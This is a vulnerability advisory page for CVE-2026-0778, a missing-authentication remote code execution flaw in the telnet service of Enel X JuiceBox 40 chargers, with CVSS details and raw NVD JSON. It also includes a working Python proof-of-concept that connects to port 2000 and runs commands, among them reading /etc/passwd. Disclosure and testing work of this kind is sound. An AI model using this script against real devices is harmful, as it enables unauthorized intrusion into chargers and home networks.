Security Vulnerability Report
中文
CVE-2026-0778 CVSS 8.8 HIGH

CVE-2026-0778

Published: 2026-01-23 04:16:05
Last Modified: 2026-04-15 00:35:42

Description

Enel X JuiceBox 40 Telnet Service Missing Authentication Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Enel X JuiceBox 40 charging stations. Authentication is not required to exploit this vulnerability. The specific flaw exists within the telnet service, which listens on TCP port 2000 by default. The issue results from the lack of authentication prior to allowing remote connections. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-23285.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Enel X JuiceBox 40 (所有未修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0778 PoC - Enel X JuiceBox 40 Telnet RCE Note: This PoC is for authorized security testing only """ import socket import sys def exploit_juicebox_telnet(target_ip, target_port=2000): """ Exploit for CVE-2026-0778: Missing authentication in Enel X JuiceBox 40 Telnet service """ try: print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Wait for telnet banner/prompt response = sock.recv(1024) print(f"[+] Received response: {response}") # Send command to execute (example: show system info) # Adjust command based on target system commands = [ b"id\n", b"cat /etc/passwd\n", b"uname -a\n" ] for cmd in commands: print(f"[*] Sending command: {cmd.decode().strip()}") sock.send(cmd) output = sock.recv(4096) print(f"[+] Output:\n{output.decode()}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 2000 exploit_juicebox_telnet(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0778", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:05.073", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Enel X JuiceBox 40 Telnet Service Missing Authentication Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Enel X JuiceBox 40 charging stations. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the telnet service, which listens on TCP port 2000 by default. The issue results from the lack of authentication prior to allowing remote connections. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-23285."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por falta de autenticación en el servicio Telnet de Enel X JuiceBox 40. Esta vulnerabilidad permite a atacantes adyacentes a la red ejecutar código arbitrario en instalaciones afectadas de estaciones de carga Enel X JuiceBox 40. La autenticación no es requerida para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro del servicio Telnet, que escucha en el puerto TCP 2000 por defecto. El problema resulta de la falta de autenticación antes de permitir conexiones remotas. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de la cuenta de servicio. Fue ZDI-CAN-23285."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-041/", "source": "[email protected]"}]}}